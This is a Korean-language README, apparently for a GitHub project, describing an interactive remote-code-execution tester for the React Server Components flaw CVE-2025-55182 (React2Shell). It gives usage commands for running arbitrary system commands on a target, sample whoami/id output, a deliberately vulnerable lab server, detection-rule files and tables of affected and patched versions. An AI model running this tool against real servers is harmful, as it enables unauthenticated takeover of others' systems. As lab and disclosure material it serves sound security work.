
CVE-2025-55182 React RCE 테스트 프로그램
CVE-2025-55182 React RCE Test Program
이 스크립트는 React 19.x의 React Server Components (RSC) 에 존재하는 심각한 원격 코드 실행(RCE) 취약점인 CVE-2025-55182를 대상으로 하는 취약성 검증 도구입니다.
본 도구는 실제 서버에서 취약점이 존재하는지 판단하고, 옵션에 따라 명령어를 실행하거나, 로그를 남기거나, 2단계 RCE 방식(module#_load) 으로도 테스트할 수 있습니다.
⚠️ 이 도구는 폐쇄된 테스트 환경에서 보안 감사 및 취약점 검증 목적으로만 사용해야 합니다.
| 항목 | 내용 |
|---|---|
| 취약점 번호 | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| 취약점 이름 | React2Shell |
| 취약점 유형 | 원격 코드 실행 (RCE) – 인증 불필요 |
| 심각도 (CVSS) | 10.0 (치명적) |
| 발견일 | 2025-11-29 (Lachlan Davidson) |
| 공격 난이도 | 매우 낮음 (Log4Shell 수준) |
| 취약점 설명 | Flight 역직렬화 처리 중 requireModule() 함수의 대괄호 표기법을 통해 프로토타입 체인(constructor, __proto__)에 접근 가능해지는 구조적 RCE 취약점 |
✅ RSC 기능이 포함된 프로젝트는 React와 별개로
react-server-dom-*모듈도 반드시 최신 버전으로 업그레이드해야 안전합니다.
CVE-2025-55182/
├── README.md # 전체 개요 및 스캐너 사용법
├── DETECTION_RULES.md # 탐지/차단용 규칙 모음
├── 설명 및 탐지규칙.md # 한글 탐지 규칙 설명
├── cve_2025_55182_interactive.py # RCE 검증 스캐너 스크립트
├── requirements.txt # 스캐너 의존성 목록
├── setup_vulnerable_env.sh # 취약 환경 일괄 설치 스크립트
├── uninstall_vulnerable_env.sh # 취약 환경 정리/제거 스크립트
└── vulnerable-react-env/ # React2Shell 취약 서버 실습용 코드
├── README.md # 실습 환경 사용법
├── package.json # npm 스크립트 및 의존성
├── server.js # 취약한 Express 백엔드
├── public/
│ └── index.html # CDN 기반 React 프런트엔드
└── .gitignore
✅ 취약 서버에서 RCE가 가능한지 인터랙티브 방식으로 테스트
✅ child_process#execSync (기본) 또는 module#_load 방식 지원
✅ 명령어 실행 결과를 로그 파일로 저장
✅ 사용자가 직접 입력한 시스템 명령을 서버에 전달
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
기본 RCE 테스트 (execSync 방식)
child_process.execSync()를 사용한 명령 실행python cve_2025_55182_interactive.py http://localhost:3000 --rce2단계 RCE 테스트 (module#_load 방식)
module#_load를 통해 실행python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadRSC 기반 RCE 테스트 (--rce2 옵션)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2명령어 실행 결과 로그 저장
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.log전체 기능 활용 (방식 + 로그)
moduleLoad 방식과 로그 저장을 함께 사용vulnerable-react-env 폴더에는 CVE-2025-55182를 재현할 수 있는 의도적으로 취약한 React + Express 서버가 포함되어 있습니다.
./setup_vulnerable_env.sh를 실행하면 apt 패키지 설치 → nvm/Node.js 20 설치 → npm install이 한 번에 완료됩니다.cd vulnerable-react-env && npm start 또는 npm run dev로 서버를 실행합니다.npm run만 입력하면 스크립트 목록만 출력됩니다. 반드시 npm start(또는 npm run start)처럼 스크립트 이름을 지정하세요../uninstall_vulnerable_env.sh로 node_modules, moduleLoad 페이로드, (옵션) Node 20 및 nvm을 제거할 수 있습니다.ERR_MODULE_NOT_FOUND: Cannot find package 'express' 등 의존성 에러가 날 경우 cd vulnerable-react-env && npm install로 node_modules를 설치한 뒤 다시 npm start 하세요.sudo apt update && sudo apt install -y curl build-essential⚠️ 연구/교육 목적 외 사용 금지. 인터넷에 노출하지 마세요.
💬 입력할 시스템 명령어: whoami
✅ 응답 코드: 200
📄 응답 내용: {"success":true,"result":"www-data"}
💬 입력할 시스템 명령어: id
✅ 응답 코드: 200
📄 응답 내용: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 입력할 시스템 명령어: exit
👋 종료합니다.
❌ 운영 환경에서는 절대 사용하지 마십시오.
✅ 이 스크립트는 로컬 테스트 환경 또는 격리된 VM에서만 사용해야 합니다.
🛠️ --method moduleLoad 방식은 /tmp/evil.js에 실제 파일을 생성합니다.
🧾 --log 옵션을 사용할 경우 출력 결과가 평문으로 저장되므로 파일 접근을 제한하세요.
🔐 모든 요청은 취약한 서버에서 실제 JavaScript 코드가 실행되는지 확인합니다.
공식 CVE: CVE-2025-55182
Exploit 방식:
공격 흐름:
이 프로젝트는 보안 연구, 감사, 테스트를 위한 용도로만 제공되며,
실제 시스템에 대한 무단 사용은 불법입니다.
본 툴의 사용으로 발생한 모든 법적 책임은 사용자 본인에게 있습니다.
| 제품/도구 | 취약 버전 | 패치된 버전 |
|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | 상동 (↑) | 상동 |
| react-server-dom-parcel | 상동 (↑) | 상동 |
| react-server-dom-turbopack | 상동 (↑) | 상동 |
| Next.js 14 | 14.3.0.canary.77 이상 일부 버전 | (비공식적으로) 15.0.5 이상으로 전환 권고 |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| 기타 도구 | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin 등 | 해당 프로젝트의 RSC 의존성 패치 필요 |
python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.log페이로드 디버깅 출력
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (기본 포트: 3000)http://localhost:3000 접속 후 폼을 통해 _payload와 cmd를 전송vulnerable-react-env/README.md의 curl 예시로 RCE 흐름 재현